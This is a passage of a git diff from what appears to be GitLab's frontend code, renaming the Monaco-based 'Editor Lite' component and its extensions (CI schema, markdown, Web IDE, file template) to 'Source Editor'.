Object.assign(file, {
- renderIt:
- index < 3 ? file[INLINE_DIFF_LINES_KEY].length < LINES_TO_BE_RENDERED_DIRECTLY : false,
+ renderIt,
isShowingFullFile: false,
isLoadingFullFile: false,
discussions: [],
diff --git a/app/assets/javascripts/editor/constants.js b/app/assets/javascripts/editor/constants.js
index c991316dda2..849ff91841a 100644
--- a/app/assets/javascripts/editor/constants.js
+++ b/app/assets/javascripts/editor/constants.js
@@ -1,14 +1,15 @@
+import { DEFAULT_DEBOUNCE_AND_THROTTLE_MS } from '~/lib/utils/constants';
import { __ } from '~/locale';
-export const EDITOR_LITE_INSTANCE_ERROR_NO_EL = __(
+export const SOURCE_EDITOR_INSTANCE_ERROR_NO_EL = __(
'"el" parameter is required for createInstance()',
);
export const URI_PREFIX = 'gitlab';
-export const CONTENT_UPDATE_DEBOUNCE = 250;
+export const CONTENT_UPDATE_DEBOUNCE = DEFAULT_DEBOUNCE_AND_THROTTLE_MS;
export const ERROR_INSTANCE_REQUIRED_FOR_EXTENSION = __(
- 'Editor Lite instance is required to set up an extension.',
+ 'Source Editor instance is required to set up an extension.',
);
export const EDITOR_READY_EVENT = 'editor-ready';
diff --git a/app/assets/javascripts/editor/editor_lite.js b/app/assets/javascripts/editor/editor_lite.js
deleted file mode 100644
index 249888ede9b..00000000000
--- a/app/assets/javascripts/editor/editor_lite.js
+++ /dev/null
@@ -1,263 +0,0 @@
-import { editor as monacoEditor, languages as monacoLanguages, Uri } from 'monaco-editor';
-import { defaultEditorOptions } from '~/ide/lib/editor_options';
-import languages from '~/ide/lib/languages';
-import { DEFAULT_THEME, themes } from '~/ide/lib/themes';
-import { registerLanguages } from '~/ide/utils';
-import { joinPaths } from '~/lib/utils/url_utility';
-import { uuids } from '~/lib/utils/uuids';
-import {
- EDITOR_LITE_INSTANCE_ERROR_NO_EL,
- URI_PREFIX,
- EDITOR_READY_EVENT,
- EDITOR_TYPE_DIFF,
-} from './constants';
-import { clearDomElement } from './utils';
-
-export default class EditorLite {
- constructor(options = {}) {
- this.instances = [];
- this.options = {
- extraEditorClassName: 'gl-editor-lite',
- ...defaultEditorOptions,
- ...options,
- };
-
- EditorLite.setupMonacoTheme();
-
- registerLanguages(...languages);
- }
-
- static setupMonacoTheme() {
- const themeName = window.gon?.user_color_scheme || DEFAULT_THEME;
- const theme = themes.find((t) => t.name === themeName);
- if (theme) monacoEditor.defineTheme(themeName, theme.data);
- monacoEditor.setTheme(theme ? themeName : DEFAULT_THEME);
- }
-
- static getModelLanguage(path) {
- const ext = `.${path.split('.').pop()}`;
- const language = monacoLanguages
- .getLanguages()
- .find((lang) => lang.extensions.indexOf(ext) !== -1);
- return language ? language.id : 'plaintext';
- }
-
- static pushToImportsArray(arr, toImport) {
- arr.push(import(toImport));
- }
-
- static loadExtensions(extensions) {
- if (!extensions) {
- return Promise.resolve();
- }
- const promises = [];
- const extensionsArray = typeof extensions === 'string' ? extensions.split(',') : extensions;
-
- extensionsArray.forEach((ext) => {
- const prefix = ext.includes('/') ? '' : 'editor/';
- const trimmedExt = ext.replace(/^\//, '').trim();
- EditorLite.pushToImportsArray(promises, `~/${prefix}${trimmedExt}`);
- });
-
- return Promise.all(promises);
- }
-
- static mixIntoInstance(source, inst) {
- if (!inst) {
- return;
- }
- const isClassInstance = source.constructor.prototype !== Object.prototype;
- const sanitizedSource = isClassInstance ? source.constructor.prototype : source;
- Object.getOwnPropertyNames(sanitizedSource).forEach((prop) => {
- if (prop !== 'constructor') {
- Object.assign(inst, { [prop]: source[prop] });
- }
- });
- }
-
- static prepareInstance(el) {
- if (!el) {
- throw new Error(EDITOR_LITE_INSTANCE_ERROR_NO_EL);
- }
-
- clearDomElement(el);
-
- monacoEditor.onDidCreateEditor(() => {
- delete el.dataset.editorLoading;
- });
- }
-
- static manageDefaultExtensions(instance, el, extensions) {
- EditorLite.loadExtensions(extensions, instance)
- .then((modules) => {
- if (modules) {
- modules.forEach((module) => {
- instance.use(module.default);
- });
- }
- })
- .then(() => {
- el.dispatchEvent(new Event(EDITOR_READY_EVENT));
- })
- .catch((e) => {
- throw e;
- });
- }
-
- static createEditorModel({
- blobPath,
- blobContent,
- blobOriginalContent,
- blobGlobalId,
- instance,
- isDiff,
- } = {}) {
- if (!instance) {
- return null;
- }
- const uriFilePath = joinPaths(URI_PREFIX, blobGlobalId, blobPath);
- const uri = Uri.file(uriFilePath);
- const existingModel = monacoEditor.getModel(uri);
- const model = existingModel || monacoEditor.createModel(blobContent, undefined, uri);
- if (!isDiff) {
- instance.setModel(model);
- return model;
- }
- const diffModel = {
- original: monacoEditor.createModel(
- blobOriginalContent,
- EditorLite.getModelLanguage(model.uri.path),
- ),
- modified: model,
- };
- instance.setModel(diffModel);
- return diffModel;
- }
-
- static convertMonacoToELInstance = (inst) => {
- const editorLiteInstanceAPI = {
- updateModelLanguage: (path) => {
- return EditorLite.instanceUpdateLanguage(inst, path);
- },
- use: (exts = []) => {
- return EditorLite.instanceApplyExtension(inst, exts);
- },
- };
- const handler = {
- get(target, prop, receiver) {
- if (Reflect.has(editorLiteInstanceAPI, prop)) {
- return editorLiteInstanceAPI[prop];
- }
- return Reflect.get(target, prop, receiver);
- },
- };
- return new Proxy(inst, handler);
- };
-
- static instanceUpdateLanguage(inst, path) {
- const lang = EditorLite.getModelLanguage(path);
- const model = inst.getModel();
- return monacoEditor.setModelLanguage(model, lang);
- }
-
- static instanceApplyExtension(inst, exts = []) {
- const extensions = [].concat(exts);
- extensions.forEach((extension) => {
- EditorLite.mixIntoInstance(extension, inst);
- });
- return inst;
- }
-
- static instanceRemoveFromRegistry(editor, instance) {
- const index = editor.instances.findIndex((inst) => inst === instance);
- editor.instances.splice(index, 1);
- }
-
- static instanceDisposeModels(editor, instance, model) {
- const instanceModel = instance.getModel() || model;
- if (!instanceModel) {
- return;
- }
- if (instance.getEditorType() === EDITOR_TYPE_DIFF) {
- const { original, modified } = instanceModel;
- if (original) {
- original.dispose();
- }
- if (modified) {
- modified.dispose();
- }
- } else {
- instanceModel.dispose();
- }
- }
-
- /**
- * Creates a monaco instance with the given options.
- *
- * @param {Object} options Options used to initialize monaco.
- * @param {Element} options.el The element which will be used to create the monacoEditor.
- * @param {string} options.blobPath The path used as the URI of the model. Monaco uses the extension of this path to determine the language.
- * @param {string} options.blobContent The content to initialize the monacoEditor.
- * @param {string} options.blobGlobalId This is used to help globally identify monaco instances that are created with the same blobPath.
- */
- createInstance({
- el = undefined,
- blobPath = '',
- blobContent = '',
- blobOriginalContent = '',
- blobGlobalId = uuids()[0],
- extensions = [],
- isDiff = false,
- ...instanceOptions
- } = {}) {
- EditorLite.prepareInstance(el);
-
- const createEditorFn = isDiff ? 'createDiffEditor' : 'create';
- const instance = EditorLite.convertMonacoToELInstance(
- monacoEditor[createEditorFn].call(this, el, {
- ...this.options,
- ...instanceOptions,
- }),
- );
-
- let model;
- if (instanceOptions.model !== null) {
- model = EditorLite.createEditorModel({
- blobGlobalId,
- blobOriginalContent,
- blobPath,
- blobContent,
- instance,
- isDiff,
- });
- }
-
- instance.onDidDispose(() => {
- EditorLite.instanceRemoveFromRegistry(this, instance);
- EditorLite.instanceDisposeModels(this, instance, model);
- });
-
- EditorLite.manageDefaultExtensions(instance, el, extensions);
-
- this.instances.push(instance);
- return instance;
- }
-
- createDiffInstance(args) {
- return this.createInstance({
- ...args,
- isDiff: true,
- });
- }
-
- dispose() {
- this.instances.forEach((instance) => instance.dispose());
- }
-
- use(exts) {
- this.instances.forEach((inst) => {
- inst.use(exts);
- });
- return this;
- }
-}
diff --git a/app/assets/javascripts/editor/extensions/editor_ci_schema_ext.js b/app/assets/javascripts/editor/extensions/editor_ci_schema_ext.js
deleted file mode 100644
index c5ee61ec86e..00000000000
--- a/app/assets/javascripts/editor/extensions/editor_ci_schema_ext.js
+++ /dev/null
@@ -1,38 +0,0 @@
-import Api from '~/api';
-import { registerSchema } from '~/ide/utils';
-import { EXTENSION_CI_SCHEMA_FILE_NAME_MATCH } from '../constants';
-import { EditorLiteExtension } from './editor_lite_extension_base';
-
-export class CiSchemaExtension extends EditorLiteExtension {
- /**
- * Registers a syntax schema to the editor based on project
- * identifier and commit.
- *
- * The schema is added to the file that is currently edited
- * in the editor.
- *
- * @param {Object} opts
- * @param {String} opts.projectNamespace
- * @param {String} opts.projectPath
- * @param {String?} opts.ref - Current ref. Defaults to main
- */
- registerCiSchema({ projectNamespace, projectPath, ref } = {}) {
- const ciSchemaPath = Api.buildUrl(Api.projectFileSchemaPath)
- .replace(':namespace_path', projectNamespace)
- .replace(':project_path', projectPath)
- .replace(':ref', ref)
- .replace(':filename', EXTENSION_CI_SCHEMA_FILE_NAME_MATCH);
- // In order for workers loaded from `data://` as the
- // ones loaded by monaco editor, we use absolute URLs
- // to fetch schema files, hence the `gon.gitlab_url`
- // reference. This prevents error:
- // "Failed to execute 'fetch' on 'WorkerGlobalScope'"
- const absoluteSchemaUrl = gon.gitlab_url + ciSchemaPath;
- const modelFileName = this.getModel().uri.path.split('/').pop();
-
- registerSchema({
- uri: absoluteSchemaUrl,
- fileMatch: [modelFileName],
- });
- }
-}
diff --git a/app/assets/javascripts/editor/extensions/editor_file_template_ext.js b/app/assets/javascripts/editor/extensions/editor_file_template_ext.js
deleted file mode 100644
index f5474318447..00000000000
--- a/app/assets/javascripts/editor/extensions/editor_file_template_ext.js
+++ /dev/null
@@ -1,8 +0,0 @@
-import { Position } from 'monaco-editor';
-import { EditorLiteExtension } from './editor_lite_extension_base';
-
-export class FileTemplateExtension extends EditorLiteExtension {
- navigateFileStart() {
- this.setPosition(new Position(1, 1));
- }
-}
diff --git a/app/assets/javascripts/editor/extensions/editor_lite_extension_base.js b/app/assets/javascripts/editor/extensions/editor_lite_extension_base.js
deleted file mode 100644
index 05a020bd958..00000000000
--- a/app/assets/javascripts/editor/extensions/editor_lite_extension_base.js
+++ /dev/null
@@ -1,93 +0,0 @@
-import { Range } from 'monaco-editor';
-import { waitForCSSLoaded } from '~/helpers/startup_css_helper';
-import { ERROR_INSTANCE_REQUIRED_FOR_EXTENSION, EDITOR_TYPE_CODE } from '../constants';
-
-const hashRegexp = new RegExp('#?L', 'g');
-
-const createAnchor = (href) => {
- const fragment = new DocumentFragment();
- const el = document.createElement('a');
- el.classList.add('link-anchor');
- el.href = href;
- fragment.appendChild(el);
- el.addEventListener('contextmenu', (e) => {
- e.stopPropagation();
- });
- return fragment;
-};
-
-export class EditorLiteExtension {
- constructor({ instance, ...options } = {}) {
- if (instance) {
- Object.assign(instance, options);
- EditorLiteExtension.highlightLines(instance);
- if (instance.getEditorType && instance.getEditorType() === EDITOR_TYPE_CODE) {
- EditorLiteExtension.setupLineLinking(instance);
- }
- EditorLiteExtension.deferRerender(instance);
- } else if (Object.entries(options).length) {
- throw new Error(ERROR_INSTANCE_REQUIRED_FOR_EXTENSION);
- }
- }
-
- static deferRerender(instance) {
- waitForCSSLoaded(() => {
- instance.layout();
- });
- }
-
- static highlightLines(instance) {
- const { hash } = window.location;
- if (!hash) {
- return;
- }
- const [start, end] = hash.replace(hashRegexp, '').split('-');
- let startLine = start ? parseInt(start, 10) : null;
- let endLine = end ? parseInt(end, 10) : startLine;
- if (endLine < startLine) {
- [startLine, endLine] = [endLine, startLine];
- }
- if (startLine) {
- window.requestAnimationFrame(() => {
- instance.revealLineInCenter(startLine);
- Object.assign(instance, {
- lineDecorations: instance.deltaDecorations(
- [],
- [
- {
- range: new Range(startLine, 1, endLine, 1),
- options: { isWholeLine: true, className: 'active-line-text' },
- },
- ],
- ),
- });
- });
- }
- }
-
- static onMouseMoveHandler(e) {
- const target = e.target.element;
- if (target.classList.contains('line-numbers')) {
- const lineNum = e.target.position.lineNumber;
- const hrefAttr = `#L${lineNum}`;
- let el = target.querySelector('a');
- if (!el) {
- el = createAnchor(hrefAttr);
- target.appendChild(el);
- }
- }
- }
-
- static setupLineLinking(instance) {
- instance.onMouseMove(EditorLiteExtension.onMouseMoveHandler);
- instance.onMouseDown((e) => {
- const isCorrectAnchor = e.target.element.classList.contains('link-anchor');
- if (!isCorrectAnchor) {
- return;
- }
- if (instance.lineDecorations) {
- instance.deltaDecorations(instance.lineDecorations, []);
- }
- });
- }
-}
diff --git a/app/assets/javascripts/editor/extensions/editor_lite_webide_ext.js b/app/assets/javascripts/editor/extensions/editor_lite_webide_ext.js
deleted file mode 100644
index 83b0386d470..00000000000
--- a/app/assets/javascripts/editor/extensions/editor_lite_webide_ext.js
+++ /dev/null
@@ -1,164 +0,0 @@
-import { debounce } from 'lodash';
-import { KeyCode, KeyMod, Range } from 'monaco-editor';
-import { EDITOR_TYPE_DIFF } from '~/editor/constants';
-import { EditorLiteExtension } from '~/editor/extensions/editor_lite_extension_base';
-import Disposable from '~/ide/lib/common/disposable';
-import { editorOptions } from '~/ide/lib/editor_options';
-import keymap from '~/ide/lib/keymap.json';
-
-const isDiffEditorType = (instance) => {
- return instance.getEditorType() === EDITOR_TYPE_DIFF;
-};
-
-export const UPDATE_DIMENSIONS_DELAY = 200;
-
-export class EditorWebIdeExtension extends EditorLiteExtension {
- constructor({ instance, modelManager, ...options } = {}) {
- super({
- instance,
- ...options,
- modelManager,
- disposable: new Disposable(),
- debouncedUpdate: debounce(() => {
- instance.updateDimensions();
- }, UPDATE_DIMENSIONS_DELAY),
- });
-
- window.addEventListener('resize', instance.debouncedUpdate, false);
-
- instance.onDidDispose(() => {
- window.removeEventListener('resize', instance.debouncedUpdate);
-
- // catch any potential errors with disposing the error
- // this is mainly for tests caused by elements not existing
- try {
- instance.disposable.dispose();
- } catch (e) {
- if (process.env.NODE_ENV !== 'test') {
- // eslint-disable-next-line no-console
- console.error(e);
- }
- }
- });
-
- EditorWebIdeExtension.addActions(instance);
- }
-
- static addActions(instance) {
- const { store } = instance;
- const getKeyCode = (key) => {
- const monacoKeyMod = key.indexOf('KEY_') === 0;
-
- return monacoKeyMod ? KeyCode[key] : KeyMod[key];
- };
-
- keymap.forEach((command) => {
- const { bindings, id, label, action } = command;
-
- const keybindings = bindings.map((binding) => {
- const keys = binding.split('+');
-
- // eslint-disable-next-line no-bitwise
- return keys.length > 1 ? getKeyCode(keys[0]) | getKeyCode(keys[1]) : getKeyCode(keys[0]);
- });
-
- instance.addAction({
- id,
- label,
- keybindings,
- run() {
- store.dispatch(action.name, action.params);
- return null;
- },
- });
- });
- }
-
- createModel(file, head = null) {
- return this.modelManager.addModel(file, head);
- }
-
- attachModel(model) {
- if (isDiffEditorType(this)) {
- this.setModel({
- original: model.getOriginalModel(),
- modified: model.getModel(),
- });
-
- return;
- }
-
- this.setModel(model.getModel());
-
- this.updateOptions(
- editorOptions.reduce((acc, obj) => {
- Object.keys(obj).forEach((key) => {
- Object.assign(acc, {
- [key]: obj[key](model),
- });
- });
- return acc;
- }, {}),
- );
- }
-
- attachMergeRequestModel(model) {
- this.setModel({
- original: model.getBaseModel(),
- modified: model.getModel(),
- });
- }
-
- updateDimensions() {
- this.layout();
- this.updateDiffView();
- }
-
- setPos({ lineNumber, column }) {
- this.revealPositionInCenter({
- lineNumber,
- column,
- });
- this.setPosition({
- lineNumber,
- column,
- });
- }
-
- onPositionChange(cb) {
- if (!this.onDidChangeCursorPosition) {
- return;
- }
-
- this.disposable.add(this.onDidChangeCursorPosition((e) => cb(this, e)));
- }
-
- updateDiffView() {
- if (!isDiffEditorType(this)) {
- return;
- }
-
- this.updateOptions({
- renderSideBySide: EditorWebIdeExtension.renderSideBySide(this.getDomNode()),
- });
- }
-
- replaceSelectedText(text) {
- let selection = this.getSelection();
- const range = new Range(
- selection.startLineNumber,
- selection.startColumn,
- selection.endLineNumber,
- selection.endColumn,
- );
-
- this.executeEdits('', [{ range, text }]);
-
- selection = this.getSelection();
- this.setPosition({ lineNumber: selection.endLineNumber, column: selection.endColumn });
- }
-
- static renderSideBySide(domElement) {
- return domElement.offsetWidth >= 700;
- }
-}
diff --git a/app/assets/javascripts/editor/extensions/editor_markdown_ext.js b/app/assets/javascripts/editor/extensions/editor_markdown_ext.js
deleted file mode 100644
index 2ce003753f7..00000000000
--- a/app/assets/javascripts/editor/extensions/editor_markdown_ext.js
+++ /dev/null
@@ -1,97 +0,0 @@
-import { EditorLiteExtension } from './editor_lite_extension_base';
-
-export class EditorMarkdownExtension extends EditorLiteExtension {
- getSelectedText(selection = this.getSelection()) {
- const { startLineNumber, endLineNumber, startColumn, endColumn } = selection;
- const valArray = this.getValue().split('\n');
- let text = '';
- if (startLineNumber === endLineNumber) {
- text = valArray[startLineNumber - 1].slice(startColumn - 1, endColumn - 1);
- } else {
- const startLineText = valArray[startLineNumber - 1].slice(startColumn - 1);
- const endLineText = valArray[endLineNumber - 1].slice(0, endColumn - 1);
-
- for (let i = startLineNumber, k = endLineNumber - 1; i < k; i += 1) {
- text += `${valArray[i]}`;
- if (i !== k - 1) text += `\n`;
- }
- text = text
- ? [startLineText, text, endLineText].join('\n')
- : [startLineText, endLineText].join('\n');
- }
- return text;
- }
-
- replaceSelectedText(text, select = undefined) {
- const forceMoveMarkers = !select;
- this.executeEdits('', [{ range: this.getSelection(), text, forceMoveMarkers }]);
- }
-
- moveCursor(dx = 0, dy = 0) {
- const pos = this.getPosition();
- pos.column += dx;
- pos.lineNumber += dy;
- this.setPosition(pos);
- }
-
- /**
- * Adjust existing selection to select text within the original selection.
- * - If `selectedText` is not supplied, we fetch selected text with
- *
- * ALGORITHM:
- *
- * MULTI-LINE SELECTION
- * 1. Find line that contains `toSelect` text.
- * 2. Using the index of this line and the position of `toSelect` text in it,
- * construct:
- * * newStartLineNumber
- * * newStartColumn
- *
- * SINGLE-LINE SELECTION
- * 1. Use `startLineNumber` from the current selection as `newStartLineNumber`
- * 2. Find the position of `toSelect` text in it to get `newStartColumn`
- *
- * 3. `newEndLineNumber` — Since this method is supposed to be used with
- * markdown decorators that are pretty short, the `newEndLineNumber` is
- * suggested to be assumed the same as the startLine.
- * 4. `newEndColumn` — pretty obvious
- * 5. Adjust the start and end positions of the current selection
- * 6. Re-set selection on the instance
- *
- * @param {string} toSelect - New text to select within current selection.
- * @param {string} selectedText - Currently selected text. It's just a
- * shortcut: If it's not supplied, we fetch selected text from the instance
- */
- selectWithinSelection(toSelect, selectedText) {
- const currentSelection = this.getSelection();
- if (currentSelection.isEmpty() || !toSelect) {
- return;
- }
- const text = selectedText || this.getSelectedText(currentSelection);
- let lineShift;
- let newStartLineNumber;
- let newStartColumn;
-
- const textLines = text.split('\n');
-
- if (textLines.length > 1) {
- // Multi-line selection
- lineShift = textLines.findIndex((line) => line.indexOf(toSelect) !== -1);
- newStartLineNumber = currentSelection.startLineNumber + lineShift;
- newStartColumn = textLines[lineShift].indexOf(toSelect) + 1;
- } else {
- // Single-line selection
- newStartLineNumber = currentSelection.startLineNumber;
- newStartColumn = currentSelection.startColumn + text.indexOf(toSelect);
- }
-
- const newEndLineNumber = newStartLineNumber;
- const newEndColumn = newStartColumn + toSelect.length;
-
- const newSelection = currentSelection
- .setStartPosition(newStartLineNumber, newStartColumn)
- .setEndPosition(newEndLineNumber, newEndColumn);
-
- this.setSelection(newSelection);
- }
-}
diff --git a/app/assets/javascripts/editor/extensions/source_editor_ci_schema_ext.js b/app/assets/javascripts/editor/extensions/source_editor_ci_schema_ext.js
new file mode 100644
index 00000000000..410aaed86a7
--- /dev/null
+++ b/app/assets/javascripts/editor/extensions/source_editor_ci_schema_ext.js
@@ -0,0 +1,38 @@
+import Api from '~/api';
+import { registerSchema } from '~/ide/utils';
+import { EXTENSION_CI_SCHEMA_FILE_NAME_MATCH } from '../constants';
+import { SourceEditorExtension } from './source_editor_extension_base';
+
+export class CiSchemaExtension extends SourceEditorExtension {
+ /**
+ * Registers a syntax schema to the editor based on project
+ * identifier and commit.
+ *
+ * The schema is added to the file that is currently edited
+ * in the editor.
+ *
+ * @param {Object} opts
+ * @param {String} opts.projectNamespace
+ * @param {String} opts.projectPath
+ * @param {String?} opts.ref - Current ref. Defaults to main
+ */
+ registerCiSchema({ projectNamespace, projectPath, ref } = {}) {
+ const ciSchemaPath = Api.buildUrl(Api.projectFileSchemaPath)
+ .replace(':namespace_path', projectNamespace)
+ .replace(':project_path', projectPath)
+ .replace(':ref', ref)
+ .replace(':filename', EXTENSION_CI_SCHEMA_FILE_NAME_MATCH);
+ // In order for workers loaded from `data://` as the
+ // ones loaded by monaco editor, we use absolute URLs
+ // to fetch schema files, hence the `gon.gitlab_url`
+ // reference. This prevents error:
+ // "Failed to execute 'fetch' on 'WorkerGlobalScope'"
+ const absoluteSchemaUrl = gon.gitlab_url + ciSchemaPath;
+ const modelFileName = this.getModel().uri.path.split('/').pop();
+
+ registerSchema({
+ uri: absoluteSchemaUrl,
+ fileMatch: [modelFileName],
+ });
+ }
+}
diff --git a/app/assets/javascripts/editor/extensions/source_editor_extension_base.js b/app/assets/javascripts/editor/extensions/source_editor_extension_base.js
new file mode 100644
index 00000000000..5fa01f03f7e
--- /dev/null
+++ b/app/assets/javascripts/editor/extensions/source_editor_extension_base.js
@@ -0,0 +1,93 @@
+import { Range } from 'monaco-editor';
+import { waitForCSSLoaded } from '~/helpers/startup_css_helper';
+import { ERROR_INSTANCE_REQUIRED_FOR_EXTENSION, EDITOR_TYPE_CODE } from '../constants';
+
+const hashRegexp = new RegExp('#?L', 'g');
+
+const createAnchor = (href) => {
+ const fragment = new DocumentFragment();
+ const el = document.createElement('a');
+ el.classList.add('link-anchor');
+ el.href = href;
+ fragment.appendChild(el);
+ el.addEventListener('contextmenu', (e) => {
+ e.stopPropagation();
+ });
+ return fragment;
+};
+
+export class SourceEditorExtension {
+ constructor({ instance, ...options } = {}) {
+ if (instance) {
+ Object.assign(instance, options);
+ SourceEditorExtension.highlightLines(instance);
+ if (instance.getEditorType && instance.getEditorType() === EDITOR_TYPE_CODE) {
+ SourceEditorExtension.setupLineLinking(instance);
+ }
+ SourceEditorExtension.deferRerender(instance);
+ } else if (Object.entries(options).length) {
+ throw new Error(ERROR_INSTANCE_REQUIRED_FOR_EXTENSION);
+ }
+ }
+
+ static deferRerender(instance) {
+ waitForCSSLoaded(() => {
+ instance.layout();
+ });
+ }
+
+ static highlightLines(instance) {
+ const { hash } = window.location;
+ if (!hash) {
+ return;
+ }
+ const [start, end] = hash.replace(hashRegexp, '').split('-');
+ let startLine = start ? parseInt(start, 10) : null;
+ let endLine = end ? parseInt(end, 10) : startLine;
+ if (endLine < startLine) {
+ [startLine, endLine] = [endLine, startLine];
+ }
+ if (startLine) {
+ window.requestAnimationFrame(() => {
+ instance.revealLineInCenter(startLine);
+ Object.assign(instance, {
+ lineDecorations: instance.deltaDecorations(
+ [],
+ [
+ {
+ range: new Range(startLine, 1, endLine, 1),
+ options: { isWholeLine: true, className: 'active-line-text' },
+ },
+ ],
+ ),
+ });
+ });
+ }
+ }
+
+ static onMouseMoveHandler(e) {
+ const target = e.target.element;
+ if (target.classList.contains('line-numbers')) {
+ const lineNum = e.target.position.lineNumber;
+ const hrefAttr = `#L${lineNum}`;
+ let el = target.querySelector('a');
+ if (!el) {
+ el = createAnchor(hrefAttr);
+ target.appendChild(el);
+ }
+ }
+ }
+
+ static setupLineLinking(instance) {
+ instance.onMouseMove(SourceEditorExtension.onMouseMoveHandler);
+ instance.onMouseDown((e) => {
+ const isCorrectAnchor = e.target.element.classList.contains('link-anchor');
+ if (!isCorrectAnchor) {
+ return;
+ }
+ if (instance.lineDecorations) {
+ instance.deltaDecorations(instance.lineDecorations, []);
+ }
+ });
+ }
+}
diff --git a/app/assets/javascripts/editor/extensions/source_editor_file_template_ext.js b/app/assets/javascripts/editor/extensions/source_editor_file_template_ext.js
new file mode 100644
index 00000000000..397e090ed30
--- /dev/null
+++ b/app/assets/javascripts/editor/extensions/source_editor_file_template_ext.js
@@ -0,0 +1,8 @@
+import { Position } from 'monaco-editor';
+import { SourceEditorExtension } from './source_editor_extension_base';
+
+export class FileTemplateExtension extends SourceEditorExtension {
+ navigateFileStart() {
+ this.setPosition(new Position(1, 1));
+ }
+}
diff --git a/app/assets/javascripts/editor/extensions/source_editor_markdown_ext.js b/app/assets/javascripts/editor/extensions/source_editor_markdown_ext.js
new file mode 100644
index 00000000000..997503a12f5
--- /dev/null
+++ b/app/assets/javascripts/editor/extensions/source_editor_markdown_ext.js
@@ -0,0 +1,97 @@
+import { SourceEditorExtension } from './source_editor_extension_base';
+
+export class EditorMarkdownExtension extends SourceEditorExtension {
+ getSelectedText(selection = this.getSelection()) {
+ const { startLineNumber, endLineNumber, startColumn, endColumn } = selection;
+ const valArray = this.getValue().split('\n');
+ let text = '';
+ if (startLineNumber === endLineNumber) {
+ text = valArray[startLineNumber - 1].slice(startColumn - 1, endColumn - 1);
+ } else {
+ const startLineText = valArray[startLineNumber - 1].slice(startColumn - 1);
+ const endLineText = valArray[endLineNumber - 1].slice(0, endColumn - 1);
+
+ for (let i = startLineNumber, k = endLineNumber - 1; i < k; i += 1) {
+ text += `${valArray[i]}`;
+ if (i !== k - 1) text += `\n`;
+ }
+ text = text
+ ? [startLineText, text, endLineText].join('\n')
+ : [startLineText, endLineText].join('\n');
+ }
+ return text;
+ }
+
+ replaceSelectedText(text, select = undefined) {
+ const forceMoveMarkers = !select;
+ this.executeEdits('', [{ range: this.getSelection(), text, forceMoveMarkers }]);
+ }
+
+ moveCursor(dx = 0, dy = 0) {
+ const pos = this.getPosition();
+ pos.column += dx;
+ pos.lineNumber += dy;
+ this.setPosition(pos);
+ }
+
+ /**
+ * Adjust existing selection to select text within the original selection.
+ * - If `selectedText` is not supplied, we fetch selected text with
+ *
+ * ALGORITHM:
+ *
+ * MULTI-LINE SELECTION
+ * 1. Find line that contains `toSelect` text.
+ * 2. Using the index of this line and the position of `toSelect` text in it,
+ * construct:
+ * * newStartLineNumber
+ * * newStartColumn
+ *
+ * SINGLE-LINE SELECTION
+ * 1. Use `startLineNumber` from the current selection as `newStartLineNumber`
+ * 2. Find the position of `toSelect` text in it to get `newStartColumn`
+ *
+ * 3. `newEndLineNumber` — Since this method is supposed to be used with
+ * markdown decorators that are pretty short, the `newEndLineNumber` is
+ * suggested to be assumed the same as the startLine.
+ * 4. `newEndColumn` — pretty obvious
+ * 5. Adjust the start and end positions of the current selection
+ * 6. Re-set selection on the instance
+ *
+ * @param {string} toSelect - New text to select within current selection.
+ * @param {string} selectedText - Currently selected text. It's just a
+ * shortcut: If it's not supplied, we fetch selected text from the instance
+ */
+ selectWithinSelection(toSelect, selectedText) {
+ const currentSelection = this.getSelection();
+ if (currentSelection.isEmpty() || !toSelect) {
+ return;
+ }
+ const text = selectedText || this.getSelectedText(currentSelection);
+ let lineShift;
+ let newStartLineNumber;
+ let newStartColumn;
+
+ const textLines = text.split('\n');
+
+ if (textLines.length > 1) {
+ // Multi-line selection
+ lineShift = textLines.findIndex((line) => line.indexOf(toSelect) !== -1);
+ newStartLineNumber = currentSelection.startLineNumber + lineShift;
+ newStartColumn = textLines[lineShift].indexOf(toSelect) + 1;
+ } else {
+ // Single-line selection
+ newStartLineNumber = currentSelection.startLineNumber;
+ newStartColumn = currentSelection.startColumn + text.indexOf(toSelect);
+ }
+
+ const newEndLineNumber = newStartLineNumber;
+ const newEndColumn = newStartColumn + toSelect.length;
+
+ const newSelection = currentSelection
+ .setStartPosition(newStartLineNumber, newStartColumn)
+ .setEndPosition(newEndLineNumber, newEndColumn);
+
+ this.setSelection(newSelection);
+ }
+}
diff --git a/app/assets/javascripts/editor/extensions/source_editor_webide_ext.js b/app/assets/javascripts/editor/extensions/source_editor_webide_ext.js
new file mode 100644
index 00000000000..98e05489c1c
--- /dev/null
+++ b/app/assets/javascripts/editor/extensions/source_editor_webide_ext.js
@@ -0,0 +1,164 @@
+import { debounce } from 'lodash';
+import { KeyCode, KeyMod, Range } from 'monaco-editor';
+import { EDITOR_TYPE_DIFF } from '~/editor/constants';
+import { SourceEditorExtension } from '~/editor/extensions/source_editor_extension_base';
+import Disposable from '~/ide/lib/common/disposable';
+import { editorOptions } from '~/ide/lib/editor_options';
+import keymap from '~/ide/lib/keymap.json';
+
+const isDiffEditorType = (instance) => {
+ return instance.getEditorType() === EDITOR_TYPE_DIFF;
+};
+
+export const UPDATE_DIMENSIONS_DELAY = 200;
+
+export class EditorWebIdeExtension extends SourceEditorExtension {
+ constructor({ instance, modelManager, ...options } = {}) {
+ super({
+ instance,
+ ...options,
+ modelManager,
+ disposable: new Disposable(),
+ debouncedUpdate: debounce(() => {
+ instance.updateDimensions();
+ }, UPDATE_DIMENSIONS_DELAY),
+ });
+
+ window.addEventListener('resize', instance.debouncedUpdate, false);
+
+ instance.onDidDispose(() => {
+ window.removeEventListener('resize', instance.debouncedUpdate);
+
+ // catch any potential errors with disposing the error
+ // this is mainly for tests caused by elements not existing
+ try {
+ instance.disposable.dispose();
+ } catch (e) {
+ if (process.env.NODE_ENV !== 'test') {
+ // eslint-disable-next-line no-console
+ console.error(e);
+ }
+ }
+ });
+
+ EditorWebIdeExtension.addActions(instance);
+ }
+
+ static addActions(instance) {
+ const { store } = instance;
+ const getKeyCode = (key) => {
+ const monacoKeyMod = key.indexOf('KEY_') === 0;
+
+ return monacoKeyMod ? KeyCode[key] : KeyMod[key];
+ };
+
+ keymap.forEach((command) => {
+ const { bindings, id, label, action } = command;
+
+ const keybindings = bindings.map((binding) => {
+ const keys = binding.split('+');
+
+ // eslint-disable-next-line no-bitwise
+ return keys.length > 1 ? getKeyCode(keys[0]) | getKeyCode(keys[1]) : getKeyCode(keys[0]);
+ });
+
+ instance.addAction({
+ id,
+ label,
+ keybindings,
+ run() {
+ store.dispatch(action.name, action.params);
+ return null;
+ },
+ });
+ });
+ }
+
+ createModel(file, head = null) {
